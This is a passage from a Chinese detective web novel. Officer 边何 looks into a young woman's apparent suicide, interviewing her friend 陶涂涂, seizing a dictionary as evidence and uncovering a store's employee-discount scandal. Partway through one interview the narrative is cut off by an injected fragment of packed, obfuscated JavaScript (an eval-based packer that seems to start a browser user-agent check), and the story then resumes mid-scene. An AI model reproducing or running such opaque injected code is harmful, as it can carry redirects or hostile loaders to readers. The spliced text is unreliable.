死人是没法解释的……边何在心中重复这句话。“啊!我明白了!”他猛地拍了一下大腿,恍然大悟。 “淡定,吓我一跳。” “谢谢师父提醒!” “行了行了,没别的事就赶紧走吧。逢年过节治安任务重,你办完案子赶紧回来帮忙。” “是!”边何起身,毕恭毕敬地朝对方敬了一个礼,“啊对了,师父,家里要给我寄腊肉,我特地要了您和哥的那份。尝尝我们川渝的,和您老家的味道不一样。” “谢谢。你哥去国外出差了,过年回来不了几天就又走了,不要拿太多。” 边何笑着答了一句“收到”,磨着师父批了几份调查用的文件,才离开办公室。 …… 约陶涂涂是边何提前做好的计划,但不是今天。“火化那天,涂涂说她以为零零是和锵然吵架才自杀的。”——叶微瑄不经意的一嘴促使他将见面的日子提前到今天。早上一睁眼,他便拨通了陶涂涂的电话号码,结果招来对方的破口大骂。 “大哥,你不看时间吗?现在才六点!你是不是有毛病?” 他不知道自己说了多少次“对不起”才让对方满意。总之,陶涂涂最终同意上午见他,地点是位于市中心的陶涂涂家。“不想出门,爱来不来。”——对方如是说。 “嘀——”刺耳的鸣笛声响破天际。 边何放下手中的平板电脑,松开刹车,车向前挪动几米后便又停下。着什么急啊,都堵着呢,他瞥了一眼后视镜,虽然看不见后车司机的脸,但能想到对方暴躁的表情。肯定是在骂他,他心想。正值早高峰,二环路堵得水泄不通。 陶涂涂是几人中生活条件最优渥的,他杵着胳膊靠向车窗,目光落在前方亮眼的红色刹车灯上。资料显示,市中心的房子是陶涂涂父母的,大学毕业后就以买卖的方式转给她了。那个地段是学区,房价不菲。边何算过,以警察的工资要等到下辈子才能买得起,并且要不吃不喝才行。 说到学区,其实顾锵然家的房子也是学区房,边何换了个姿势,几乎快要躺着开车了。离顾家几百米远就有一所以胡同命名的小学,胡同的房价因这所家喻户晓的名校水涨船高。房地产最火热的那几年,十平米的胡同房能卖出几十万元一平米的天价。 真是疯了,幸好现在房价降了,他在内心感慨。可就算降价好像也买不起,他胡思乱想着。车轮卷动,车辆随大部队在没有尽头的环线主路缓慢前行。 抵达目的地时已临近上午十点。他对保安出示了证件,开车下地库。与边何同时抵达的还有一条电子交警发来的违章短信,他在车内使用平板电脑的行为被摄像头清晰的抓拍了下来。 法网恢恢疏而不漏,他将手机放进兜里,站在单元门前按响陶涂涂家的门铃。陶涂涂很快出现在可视屏幕上,头发乱蓬蓬的,像是没睡醒。对方什么也没问,下一秒,单元门应声而开。 “换鞋,穿那双一次性的。”陶涂涂身着白色丝质睡衣,瞥了一眼门口鞋柜,“家里有点乱,打扫的阿姨回老家了,年后才回来。” “没关系。”一次性拖鞋上印着某高级酒店的名字,酒店离小区也就一公里左右,与其相隔一条马路的是以夜店闻名的热门商圈。有钱人也会把酒店拖鞋带回家么?他在心里嘀咕。 “我不会耽误你太久。”他换好鞋,朝房内走去。 “最好是这样,我下午还要上班。”可能是刚起床,陶涂涂的语气不是很友善,“喝咖啡行吗?” “不用这么麻烦。” “反正我也要喝。”她走到餐厅的一侧,打开半自动咖啡机,“零零的案子还没结束?”她一边问,一边将咖啡豆倒进磨豆机并按下开关,“都过去多久了。” “不过才两周多。” 磨豆机停止研磨,房间安静下来。陶涂涂扭头看向边何,“才两周多么……”她撇了撇嘴角,随即取下手柄,用粉锤将咖啡粉压平,“怎么有种恍如隔世的感觉。”手柄被锁紧,她轻吐一口气,按下萃取键。 咖啡的香气弥散在空中,令人感到愉悦。边何进到客厅,新中式的装修风格让这套房子看着很贵气,红木家具搭配修剪精致的盆栽,透着一股园林风格的高级感。客厅内的各种家用电器多是新款,靠近墙角的玻璃展示柜中放着几件精致的陶瓷工艺品。两三分钟后,陶涂涂端着两杯咖啡过来了。 她喝了一口热咖啡,表情和语气不似先前那般骄横。看来是醒了。“你要找我打听什么?”她看向边何,“若是想了解零零,最好找小瑄,就是叶微瑄。她们好的像亲姐妹,小瑄比我了解她。” “我找过她了。楚零在燕京的朋友不多,作为警察,我想我有必要一一拜访。” “拜访……”陶涂涂扑哧一笑,“你还挺客气的。” “应该的。”边何笑着拿出平板电脑,准备做记录。 “喂——”他还没问,陶涂涂又开口了,“你还没回答我的问题。这案子不是已经结束了吗?为什么还要调查?” “目前还没有找到楚零自杀的原因,有些细节问题也需要进一步了解。”边何不想过多解释,先确认了陶涂涂案发当天的不在场证明。 “当晚去夜店蹦迪了,玩到凌晨两三点……至于后面又去哪了,你确定还要听吗?” 边何配合地摇摇头,他能查到酒店的入住记录。“毕业后,你和楚零的见面频率大概是多久一次?”他问。 “啊……”陶涂涂沉了沉肩膀,张开胳膊搭在沙发背上,望着天花板,“这怎么记得啊,反正没见过几次。” “没见过几次是几次?” “两……三四次吧……” “什么时候见的?当时都有谁在?” “我想想。”陶涂涂仍然仰着脑袋,“基本大家都在,也有就我俩的时候。嗯……零零刚工作的时候找过我,说是要向我请教英语。” “向你请教英语?”边何难以置信地重复了一遍。对方垂下眼皮,仿佛在说:“你什么意思?” 他尴尬地端起咖啡杯,连忙改口:“抱歉,不是那个意思。”杯子很轻,是个做工精美的彩瓷杯,底款标着出产窑口。“杯子不错,去当地买的吗?”他故意转移话题。 “向我请教英语怎么了?”陶涂涂不吃他这套,半睁着眼问道。 “没有,我以为楚零是学霸,英语很好。”他又喝了一口咖啡,然后放下杯子,“我看过她的大学成绩,是一位成绩非常优秀的女孩子,高分通过四六级。” “所以呢?” “也没所以。” “哈哈哈”,可能觉得他窘迫的样子很搞笑吧,陶涂涂夸张地笑出声音,向后捋了捋头发,“你一点儿不像警察。” “是有人这么说过。” “哈哈。”她抱着双臂,翘起二郎腿,“恕我直言,英语成绩好和英语好是两件事。”她用英文表达了这句话,发音和流利程度令边何吃了一惊,“我从幼儿园就开始学英语了,小学有自己的私人外教,初中暑假去北美游学了一个月。我爸本打算送我出国读大学,但我妈不想让我错过高考。她说有机会还是要体验一次高考,能否考上是另外一回事。为高考而努力是学生时代有关奋斗的故事,故事要有结尾。瞧瞧,多文艺。” “有道理啊。”边何由衷地说道。 “是吗?我可不这么认为。没参加高考,奋斗就没有结局了?学习的目的就是为了高考?这可能是这个社会的目的,但不是我的目的。而且我真的很不喜欢奋斗这个词,就好像在鞭策牛马一样。哎……不管怎么说,那时我年少无知,听从了她老人家的意见,后来就干脆在国内上大学了。我也是没办法,经济命脉掌握在人家手里呢。” “好吧。”陶涂涂的言论令边何哭笑不得,但也很难反驳,“所以楚零找你是为了练口语?” “有这样的意思,但我……”陶涂涂的神情忽然有些低落,完全不像刚刚发牢骚时那般自然,语气也犹犹豫豫的,“我没时间……” “你拒绝她了?” “算是。”她端起面前的杯子。杯子已见底,她舔了舔嘴唇,遗憾似地吐了一口气。 边何一语不发地盯着陶涂涂,陶涂涂看向杯子的彩绘,躲避他的眼神。“楚零初到燕京的日子不好过。”他思考着措辞,“对吧?” “啊?” “你不了解吗?” “我觉得这种事你还是问小瑄比较好,零零刚来燕京时住她家。” “你不了解楚零的经济状况,是这意思吗?” “诶呀!”陶涂涂的语气流露出一丝不耐烦,“听不懂我说话吗?我只知道她的家庭条件不是很好,剩下的你去问小瑄,我不清楚。” “这样啊……”边何耸起眉毛,拍拍双腿,“楚零的微信交易记录显示,从九月中旬开始,你给她转过几次钱,小到几百大到几千。楚零没有还你 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“背负什么?为了顾锵然,租一整套房子。以她的经济情况,她该找人合租的。她还要送顾锵然生日礼物。锵然也是的,明知道女朋友经济条件有限,怎么就能心安理得的接受呢?” “恕我直言,那恐怕是恋人间你情我愿的事。”边何摇摇头,他不认为对方说的这些会导致楚零的割腕行为,“楚零送过顾锵然什么礼物?” “很多啊,比如……篮球鞋。” 他点头,表示自己知道。 “锵然也是搞笑,有了新鞋还穿旧鞋,完全不了解零零的心意。”陶涂涂仍然在抱怨,“说真的,我瞧不上锵然。他做朋友没问题,但不适合当男朋友。窝囊不说,还妈宝,零零简直就是在养儿子。” 边何咳嗽了一声,有点想笑,虽然他知道不合适。 “马暗尘还不错。”陶涂涂话锋一转,语气也渐渐缓和,“可惜啊,就是有点渣,又渣又深情的。小瑄和他谈过,结果被劈腿了。要我说,他和我挺配的,我能治他。” 天,陶涂涂是怎么说出这句话的,语气是那么的自然。边何目瞪口呆地盯着对方,差点忘记自己来的目的。他一时语塞,挠了挠眉心的位置,深吸一口气。 “我知道的就这么多。至于零零为什么自杀,是你们警察的工作,不要在为难我了。” “你说的对。”边何没有反驳对方。他看了一眼时间,两人聊了将近一个多小时,“和你聊天很有收获。”面前的咖啡还剩一口,他举杯一饮而尽,凉了的味道有些苦涩,“总之,谢谢你的配合……和咖啡。” “不谢。真的有收获嘛?” “有啊。楚零生活不易,我替她感谢你的善良,在她困难的时候慷慨解囊。而且……楚零去世后,你也没有向对方父母要回那些钱。很厉害。” 边何的感谢是发自内心的。陶涂涂拧紧眉毛,别过脑袋。“哎,你别这么说。”她小声嘟囔,“小瑄也很善良,让零零去她的家里住,这点我可做不到。” “良善无高低之分。不可否认,小……叶微瑄也是一个善良的人。” “行啦,别在这儿评价我们了,你也没多大呢,不就比我们大……”她重新审视边何的脸,虽然很精神,但肤色稍暗并且有些粗糙,长相老成,“十岁?” “我才26岁!”——他在心里抗议,只是没说出口。他站起身。“我就先走了。以后可能还会找你,我想我还是有必要和你提前打一声招呼,届时请你配合。” “这案子没完了?” “要对任何逝去的生命持有谨慎的态度——这话是我师父说的,对不明不白逝去的生命,我做不到视而不见,找到真相是我的使命。”他淡然地说道,“好了,就不打扰了。” 陶涂涂若有所思地站在原地,他微微颔首,向门口走去。 “等一下。”边何被叫住了,“既然来了,就别空手走,我送你个礼物。” “什么?”他不明所以地回头。才认识就要送礼物? “不用想太多。你是不是懂陶瓷?”陶涂涂反问他。 “略懂一二。我老家在南方,小时候去过几次‘瓷都’。” “难怪啊,不仅能分辨出陶瓷制品,还知道查看底款。” “你注意到了。”边何笑了笑。 “跟我来。”陶涂涂走向客厅一侧,边何跟在身后。这时他才发现,陶涂涂一个人住在三室的房子里。“我爸是陶瓷匠人,天天跟泥巴打交道。现在买瓷器的人不多了,生意不好做,我打算帮他拓宽销售渠道。”她推开书房的门,“没准过阵子你就能在平台上看见我家产品的直播。” “太好了。能进吗?” “进来吧。”她蹲在一个米黄色的纸箱旁,掀开盖子,里面全是小件的陶瓷制品,“稍等哦,我挑一个适合你的。这东西不贵,你不用有负担,几十块钱的事儿。” “这么便宜?” “是啊,批量生产,成本不高。但这些不是我爸做的,是他的学徒们做的。我不建议他们卖太贵,老祖宗的手艺和文化要接地气才能获得更好的传播,别被价格限制了门槛。文化有传承,传承有价值。” 边何“嗯”了一声,表示认同。叶微瑄曾不止一次和他说,陶涂涂只是表面没心没肺的,实际不是。现在他能理解对方说这话的意思了。 “这箱没好看的。”陶涂涂嘟囔着,蹲到另外的箱子前。 边何说了一句“不着急”,看向别处。不到十平米的书房堆满大小不一的箱子,不出意外的话,里面都是各式各样的瓷器。房间能够称为工作学习的区域只有几平米,由整面墙的书柜和靠窗的书桌构成。陶涂涂的书不少,几乎填满书柜。桌上放着笔记本电脑、一摞海外客户的资料,以及几本书。 那是……他注意到什么,下意识地瞥了一眼陶涂涂。对方翻找的认真,叮叮当当的,根本没有关注他。 她怎么也有同样的牛津词典,边何的目光落在不远处的书桌上。词典的书芯有些褶,但表面落了灰,疑是有阵子没用过了。 15. 牛津词典2 “终于找到合适的了!”陶涂涂托着一只似虎非虎的陶瓷工艺品,转身看向边何,“这可不是老虎哦。你是一名执法人员,应该知道这是什么吧?” “狴犴。” “没错。我爸的一个学徒喜欢做与文化相关的陶瓷制品,比如:龙的九个儿子。这是老七,送给你啦。” “谢谢。”边何接过小巧精致的瓷器,小心翼翼地装好,“等你家开直播了,我一定去捧场。” “一言为定,走吧。” “等等。”他原地没动,视线落在不远处的牛津词典上,“能否借我一样东西?” 陶涂涂疑惑地“啊”了一声,顺着他的视线看过去,随即怔住了。“这是……”她面露难色,像是有难言之隐。 “楚零有本一模一样的词典。” “不奇怪啊,这版本的词典都长一样。”她站到桌前,叹了口气,“这本是零零送我的,说是毕业礼物。” “你英语这么好,她还送你词典?” “你中文说的溜,小时候没买过现代汉语词典吗?” 也有道理。 “你要借也行。”陶涂涂撇了撇嘴,露出一副不舍得的神情,“但要记得还给我。我和零零的关系不像她和小瑄那般亲密,她留给我的只有这本词典。对于我来说,这是一个重要的纪念品。” “我答应你。” “那——” “别碰!”边何突然开口,吓得陶涂涂立刻把手缩了回去。 “你干嘛啊?一惊一乍的!” “有没有……”他四下张望。师父常嘱咐他随身携带证物袋,他不听,现在没得用了,“你家有保鲜袋吗?” “啊?”陶涂涂的眼睛眯成一条缝,眉毛高高挑起,“大哥,你不是吧?这是零零送我的礼物,不是什么命案现场的凶器。” “任何证物对我们来说都一样。有吗?” “哎,真是没办法。” “拜托了!” 从陶涂涂家出来快中午12点了,边何回了一趟队里,将牛津词典交给关系要好的痕检同事。陶涂涂说的没错,人们在小学或中学时代可能会用到现代汉语词典,但有多少人工作后还用?文学类工作者可能会用到,除此之外,用的最多的就是语言学习者。 牛津词典和汉语词典大同小异,显然,能说一口流利英语的陶涂涂不是语言学习者。那本词典或许是楚零送给她的,但她真的会用吗?边何带着心中的疑问,轻踩油门,车辆驶出单位大门。 今天是周五,早晚高峰的间隔很短,路面车流涌动。去卖场的路上,边何在一家小有名气的拉面馆前停了车。店内人满为患,不过他很幸运,端着加蛋的牛肉面歪打正着地找到一个宝贵的双人桌位。 “常颖、郭宇、杨浩鑫……”一番狼吞虎咽后,他放下筷子,小声念出平板电脑上的人名。名单是叶微瑄提供的。 常颖是徒步用品区的工作人员,也是初次和叶微瑄提起员工价的人,她当时以为叶微瑄是客人。楚零没出事前,她在垂钓用品区工作,楚零遇害后被调到徒步区。至于另外两人——郭宇和杨浩鑫,边何和他们打过交道,前者昨天才见过,后者是运动卖场的副店长。 先和谁聊呢?他思考了一会儿,在一个名字上画了圈,对方惊慌失措的表情瞬时出现在他的脑海中。恐怕那三人都会是这样的反应,或许不止三人,见过他的员工没准都会躲着他。这人怎么又来了?警察很闲吗?人都没了再调查有什么用?他们肯定会这么想,边何在心里琢磨。 他收起平板电脑,桌上的拉面还剩一口,但他不打算吃了。有个男人自进店就站在他旁边,“不吃就赶紧走吧,别占位子。”——头顶那束焦躁的目光似乎在表达类似的意思。 下午一点半左右,边何抵达运动卖场。周五下午的客人要比周四晚上多,其中有不少带孩子的家长。他直奔徒步区,很快见到那位在叶微瑄眼里长得十分不高兴的工作人员。对方拎着一双徒步鞋,正站在试鞋客人的背后,露出一副爱买不买的神色。几分钟后,客人抬屁股走了,留下一地试过的鞋。 “这样的客人很烦人吧?”他站到常颖身后,笑着说道。 对方扭头,细长的眼睛露出狐疑的目光。“你是……”她好像在办公区见过边何。 “警察。”边何亮出证件,“方便聊聊吗?” “我吗?” “对,去你们会议室聊聊。”他收起笑容,向一侧歪了歪脑袋,示意不是在和她商量,“走吧。” 常颖没有拒绝,表情似乎在说:“找错人了吧?”她动手捡起地上的鞋,“我收拾收拾。” 还挺淡定的,边何心想。对方有条不紊地将鞋摆回货架。相较于其他略显凌乱的产品区,徒步区干净整洁许多,想必和眼前这位员工的辛勤劳动分不开。 收拾的差不多了,常颖说了一句“稍等”,走向不远处的年轻员工。她小声说了什么,年轻员工吃了一惊,睁大眼睛瞄向边何,同时忙不迭地点头。 二人随后走向办公区,到会议室门口时,郭宇不知从哪儿跑了出来。“边警官怎么来了?”他明明和边何差不多高,却弯着腰,脸上堆满笑意,“是有案子?”他朝常颖递了一个眼色。常颖耷拉着嘴角,没什么特殊的表情,也没有回应他的目光。 边何嘱咐常颖先进会议室,然后站在门口。“没有,打听点事,和你没关系。杨店长在吗?” “他两点来。” “行吧,不打招呼就占用你们的会议室,实在抱歉啊。” “还是楚零的事吗?”郭宇悄声问。 “自杀案已经结了。” “哦哦,那就好,您有事叫我,我随时都在。” 边何道了一声“谢谢”,没有立刻进会议室。过了几分钟,他朝办公区入口处挥了挥手。派出所的小刘身着警服、手持执法记录仪呼哧带喘地跑到二人面前。小刘是楚零一案的主要负责人,吃午饭的时候收到了边何的短信。边何说有翻案的可能,有取证需要,他便丢下半碗泡面慌忙赶了过来。 “你们这是……”郭宇的表情有些僵硬,“到底什么事?” “不该问的别问。”小刘不像边何那般随和。若这案子真有蹊跷,他免不了要被上头说一顿,年关难过啊。 二人推门进到会议室。常颖正低头发微信,见是两个人,先是愣了愣,随即不慌不忙地收起手机,摆出一副“要问赶紧问”的姿态。 “找你没别的事,只是想了解点情况。”边何脱掉羽绒服,扔到一边,然后搬了把椅子坐到常颖对面。小刘坐到房间的角落,打开记录仪。“不用紧张,你可以选择说或者不说。” “没紧张。” “这样最好。那我就开门见山了,你认识楚零吧?” “果然啊。”——对方用眼神说道,“认识,不就是那个新来的么?人都死了还来问?”她抱起胳膊,语气十分冷淡,就像是机器在说话。 “是,案子是结了,但我们始终没有找到楚零自杀的原因。我们做过不少调查,可惜都无功而返。我在想,究竟什么事能让一个阳光自信、刚毕业的大学生选择结束生命。”他故意停顿,观察常颖的表情。对方没有任何反应,抬着眼皮好像在听故事。 “您不如直说。” “我从别的客人那里得知一些事情,可能与楚零的死亡有关,特来向你们求证。”边何掏出平板电脑做记录,“你们公司准许员工用内部折扣买自家产品,对吧?好像是八折?” 房间里只有三人,小刘不了解调查进度,始终保持沉默。现场很安静,即便是轻微的吸气声也能听得一清二楚。 “员工折扣?”常颖仍摆出一副漠不关心的姿态。 “是。” “有什么问题吗?很多公司都有内部员工价啊。” “没错,这是一种常见的福利形式。只不过……”边何拍拍腿,“好像有人利用公司福利赚钱,我听到的是这样。” “是吗?我还真不知道。” 叶微瑄听见这话会当场爆炸吧,边何心想。“没关系,那你现在知道了。有位客人和我说,他曾经以九折的价格买到过你家产品,不止一件。我没有问卖他东西的员工是谁,但我可以告诉你,只要我问,他就一定会说。” “那你去问吧,这事和我有什么关系?再说了,就算有人用员工价倒卖产品又如何?公司财大气粗的,是不会在乎这两折的利润的。” “但公司是明令禁止的吧?” 常颖冷笑一声,就好像边何问了一个很愚蠢的问题。“禁止的事情多了。不能在客人面前玩手机、不能将私人物品摆在柜台上、要及时把客人动过的产品摆回原位……你去场地里看看,有几个人能遵守。”她的声音变大了,眉角、眼角、嘴角都耷拉着,那张不高兴的脸变得更不高兴了。 “这样啊……”边何无奈地笑笑,“如果被发现会怎么样呢?扣绩效?罚款?” “差不多就是你说的这样,无伤大雅。那些不守规矩、学历高的小孩是公司的管培生,是区域子公司事业部的人,和我们这种店内招的长工可不同。他们干一两年就走了,有的会去区域子公司,有的干脆辞职。他们不会在卖场干一辈子的,除非是回来当店长。” “刚才在徒步区,我发现你负责的区域很整洁。你和你口中的他们不太一样。” “所以呢?有用么?那些不守规矩的未来是领导,以后我得听他们的。” 没什么语气的反问中透着一丝咄咄逼人,边何一时语塞。好像很难聊下去,说什么都不对,他看向平板电脑,不动声色地对眼前的女人做着侧写。该怎么和对方聊呢? “不得不说……”半晌过后,他缓缓开口,“没有合理的监督机制,失效的规章制度会让部分人的努力看上去无用。” 听边何这么说,常颖有些惊讶。她难得地点点头,说:“同意。” “卖场的管理有问题,对吗?” “不明显吗?” “我明白了。”边何笑笑,轻吐一口气,“既然如此,我们聊回楚零。在你看来,她是遵守公司制度的人吗?” 正聊着感兴趣的话题,边何忽然提起楚零,常颖没有任何准备。她尝试躲避边何的目光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确实是个聪明的做法,边何表示同意。若投诉电话标明是店长电话,那么大部分投诉的客人会选择直接打给店长,另一个电话将形容虚设。匿名的方式增加了随机性,店长会接到客人投诉——这个可能发生的结果足以提醒不守规矩的员工:注意你们的服务态度。 “投诉客人是男的女的?要退什么?”边何问。 “具体的不清楚,上边不会告诉我们这些小喽啰。再说,公司是肯定不会退的,损失只能由楚零自己承担。把赚了的钱再吐出来呗,又不是什么难事。” “万一是恶作剧呢?” “确实,一个客诉电话证明不了什么,只是后来上边认真了,查账发现楚零每个月都会使用员工折扣。少的时候一两件,多的时候三四件,还有好几笔发生在试用期。区域经理意识到事情的严重性,让她将其中的几件产品带回公司,证明是自用。” “她证明不了。”边何接了一句。 “多新鲜啊,都在客人手里呢。” “所以……楚零倒卖内购产品的事被做实了,面临开除。”他深吸一口气,道出必然的结果。 “若只是开除倒也好了,她可能会被公司起诉。我们是卖场,便宜的体育用品是很多,但过万的装备也不少。一万的产品公司损失两千,两万的产品公司损失四千。金额大了,性质就变了。出事后子公司的法务来过,应该就是为了这件事。” “有这么严重吗?” “杀鸡儆猴,懂不懂?怪就怪她自己。当然,她有没有倒卖大额产品我也不清楚,而且我觉得公司不是真的想起诉她,只是想让她麻利的走人。” “她不想走吗?” “是啊,她不承认自己做过倒卖产品的事,可又解释不了。哎,现在的小孩可真行啊,想钱想疯了。学历高有什么用?都没学会做人——” “好了,就说到这吧。”边何伸手打断常颖,他听不下去了。碍于警察的身份,他没有驳斥对方。师父说了,办案不能带情绪,他在心中反复念叨这句话。 楚零是否倒卖大额产品了?答案恐怕是否定的。边何调查过对方的银行流水和电子钱包,并于昨晚到家后重新翻看了一遍。这个可怜的女孩生活很拮据,大部分银行入账来自工资和报销,报销金额也不大。算得上大额开销的就是给顾锵然买的那双鞋,事实上,对方在卖场买过的产品屈指可数。 边何敲了三下笔,楚零一共就买过三件。所以,不是常颖在说谎,就是有人在常颖面前说了谎。 不管是谁在说谎,总有真相大白的一天。边何看向小刘,示意对方关掉记录仪。“你可以走了。”他对常颖说。他看了一眼时间,现在是下午两点多。“麻烦你告诉杨浩鑫,让他半个小时后过来,谢谢。” “问累啦?”常颖出去后,小刘终于逮到说话的机会。他凑上前,贱兮兮地趴在桌子上,“话说,你是怎么查到这儿的啊?” “我正要说呢,有些事你该知道了。”边何看向对方,自信地笑道。 16. 牛津词典3 这是怎么了?叶微瑄四点前抵达运动卖场,今日的卖场似乎与往日不同,身着红色工服的工作人员较往常多了许多。她见过大部分同事,但也有几个脸生的。有位同事跑出办公区,不小心撞了她一个趔趄,随意披在肩上的工服也掉到地上。对方连声道歉,以为不小心撞到了客人。 卖场出入口站着三个工作人员,两男一女。他们平时会轮岗,协助客人使用收银机,很少同时出现。此时此刻,三人正凑在一起小声热聊,仿佛没有看见客人求助的目光。 卖场内抱团聊天的工作人员不在少数,如果不是路上刷过微博,看同事们紧张又兴奋的劲头,叶微瑄就要以为是娱乐圈出大事了。“频频秀恩爱的模范夫妻已离婚三年。”“号称以事业为重的哥哥被曝出轨多人。”“以知性示人的女星背地里常耍大牌。”,大概只有这些新闻才配的上同事们眉飞色舞的表情。 叶微瑄走到跑步用品区。她是新人,没人邀请她加入讨论,同事正在热议的话题显然不是新人该知道的。不过,虽然那些议论声很小,但叶微瑄还是听到了敏感的词汇。“自杀”、“楚零”、“警察”……这几个词同时出现时,那些窃窃私语就像被放大了音量,突兀又真实。 边何来了?这家伙真是行动派,她想。 “愣着干嘛?”跑步区的经理走到叶微瑄面前,“赶紧换工服。有批运动内衣到了,你等会儿去库房整理。” “好的。” “对了……”经理看向左右,欲言又止。待两个挑袜子的客人走后,才重新开口,“如果有客人问你能否打折,一律说不行,就说最近卖场没活动。” “啊?”她露出一个“客人为什么会问”的表情。 “别管那么多,照做就是了。还有,记得昨天那位想买保温壶的客人吗?” 是边何,她的心跳变快了。经理是不是发现他们的关系了?她有点紧张。 “问你话呢,有印象吗?” “记、记得。”她努力控制表情,结结巴巴地答道,“就是因为他,我被您骂了。他……他不会又投诉了吧?” “哈哈,没有。”经理满意地笑了笑,“那位客人是警察,最近调查的案子与咱们的离职员工有关。反正你也不了解,如果他找你问话,问什么回答什么,不要瞎说,也不要多说。” 太好了,对方不知道他们的关系,叶微瑄在心里长舒一口气。她“哦”了一声,似懂非懂地点点头。“我本来就什么都不知道。再说了,我才不想理那么麻烦的客人。” “竟然嫌客人麻烦?”经理没有批评她,只是用眼神表达不满,随后转身离开。 前往库房的路上,叶微瑄给边何发了一条消息,问对方在哪。边何没有回复她,可能是在忙。路过户外运动区时,她特意寻找了一番,没有见到郭宇的影子,八成是被边何叫走谈话了。打心底讲,她讨厌郭宇,甚至带着一丝恨意。恨意的缘由很简单,楚零是郭宇的下属,若楚零真是因为工作动过自杀的心思,那这个姓郭的一定逃不了干系。虽然没有证据,但她就是这么认为的。 穿过徒步区就是库房。“新来的。”有人叫她。她停下脚步,扭头看向声源方向,常颖和三个资历比较老的员工站在一起。几人的工服拉锁被拉到锁骨以上的位置,衣领平整,妆容简朴。可能是妆扮稳重,平日找他们咨询的客人比较多。不过,叶微瑄并不喜欢和他们打交道。 “有什么事吗?”叶微瑄问。 “你去一趟办公区,看看副店和郭经理在做什么。” 又来了。这不是常颖第一次以命令的口吻对她说话。刚来的那天,有客人找不到收银台,对方见她从库房出来,便让她给客人带路。对方当时的语气和现在一模一样。 当时她想拒绝,可又碍于面子,而且觉得自己是新人要多表现才能更快的融入集体。于是,她照做了。身在职场不能由着自己的性子来,她劝慰自己,要学会能屈能伸。只是她的好心态没能为她换取同事的好感,尤其是常颖的。 服务对象是客人,倒也没所谓。从那之后,常颖每次看见她,都会指使她做一些微不足道的小事,而且也不都是为了客人。有时是帮对方接水,有时是带东西给其他同事。昨天,常颖让她搬了一箱裤子到其他用品区,那箱裤子很沉,她的胳膊到现在都微微酸胀。 干嘛要听她的,脑海里的声音在说。叶微瑄下意识地摩挲胳膊,原地没动。她小声嘟囔:“我有事儿,我们经理——” 常颖没等她说完,便打断她的话。“去趟办公区又耽误不了多长时间。别墨迹,快去,有这功夫已经回来了。” “为什么要看他们做什么?”她佯装不解地问。 “现在小孩儿的问题真多。”不知是谁说了一句。“是啊、是啊。”旁边立刻有人帮腔。“咱们刚工作那会儿,领导让干嘛就干嘛,哪来这么多为什么。”几人发着牢骚,扬起下巴,上下打量着叶微瑄,就好像她的言行有多么的难以理解。 “行了你们。”常颖笑着看向其他人,“这小孩还不知道呢,咱们公司出过大事。” “大事?”叶微瑄脱口而出地问道。 “是啊,告诉你也无所谓,反正警察快查到了。公司前阵子开除了一个员工,那员工想不开自杀了。哦对了,你应该见过那女的。你和我说,是她告诉你这里能兼职。记得吧?” “是她……” “你还挺淡定的,死人都不怕。” 四人夸张地笑了起来,你一言我一语,目光集中在叶微瑄身上。 令人生厌的笑声。叶微瑄看向脚下,地砖的纹路变得模糊不清。排斥和逃离的情绪流经血液,涌向心头,那双自然下垂的手不经意间攥成了拳头。 “现在的孩子太脆弱,心理承受能力差,动不动的就要上天台寻死觅活。可不如咱们这代,咱们什么苦没吃过。” “是啊、是啊。” “咱们那会儿,领导打一巴掌骂一句都是正常的。” “领导打骂咱们那是没事找事,楚零可不一样。”常颖不屑地笑道,“她本来就有错,被开除正常。也不知道有什么不能接受的,竟然自杀了。”她哼了一声,冲叶微瑄摇摇头,“行了,你还傻站着干嘛?快去办公区看看。” “要去你自己去!”叶微瑄感到周身燥热,心脏扑通扑通地跳,“你有什么资格命令我。” 常颖等人的笑容僵住了。 零零已然过世,竟然还要被他们说三道四。好可恶,好想大骂几句!“管好你自己吧!”她红着脸嚷道,越想越气,身体微微发抖。不等几人反应,她扭头就走,留下四张错愕的脸和惊讶的客人。 这些人太过分了!怎么能这么说零零!他们什么都不知道却胡说八道。叶微瑄用力拉开库房门,又狠狠地关上。库房的隔断墙晃了晃,货架上的几沓护腕掉到地上。需要整理的运动内衣就放在角落,她呆望着一地的货物,忘了自己要干嘛。 一分钟后,她坐在地上,脸埋进抱紧的双膝,后背一起一伏。 她忽然想起边何,只有他和她的想法是一样的。这个几周前还不认识的男人正在为素不相识的楚零奔走,而那些曾经与楚零共事的人却在楚零去世后肆意的指谪她。 凭什么?叶微瑄气不过,又给边何发了一条消息。 【你一定能查出真相吧?我想知道真相!】 …… 一定能。边何看着手机上的消息,微微提起嘴角。 会议室所有的灯都被打开了,明亮的有些刺眼。椭圆形会议桌上放着卖场近半年的账簿,其中不少呈翻开状。边何拿起一本,某页会计凭证后面贴着报销单,报销人一栏写着“楚零”两字,字体娟秀,像极了对方生前的模样。郭宇的字也不丑,经理审核栏有他的签字。这笔报销支付过了,支付方式是现金。 杨浩鑫和郭宇坐在边何和小刘的对面,两人神色紧张,时不时地互相交换眼神。 一个小时前,边何先与杨浩鑫聊了一会儿。他没有和杨浩鑫提员工价的事,只是让对方提供销售记录和账簿。 “放心,我不是税务,更不是经侦人员,你不用紧张。”他说得轻巧,杨浩鑫的脸却“唰”的一下白了。这位看上去十分壮硕的男人,其内心世界远没有健美的身材那般坚不可摧。边何在杨浩鑫面前调查了销售记录,之后便把郭宇叫了进来,当着二人的面翻起账簿。 “之前你们为什么不提员工价的事?”小刘打破静谧的氛围,质问郭宇和杨浩鑫。直到结案,他都没能找到楚零“自杀”的原因。想起刚才边何得意洋洋的表情,他就感到懊恼。“不就是滥用员工价倒卖产品嘛?有什么不能说的?”他厉声问道。 郭宇和杨浩鑫面面相觑。“你说吧。”——他们向彼此使了一个类似的眼色。 “说话!难道还有别的事?”小刘催促道。 “没有、没有。”郭宇硬着头皮回应,“就是你们听到和看到的那样。这事赖不了我们,是楚零自己不守规矩,我和老杨……”他打了一下杨浩鑫的肩膀,“替楚零求过情,但公司执意要开她,我们也没辙。” “我问的是,你们之前为什么不说!” “公司不让说。万一这事曝光,不知情的人在网上胡说八道,有损公司形 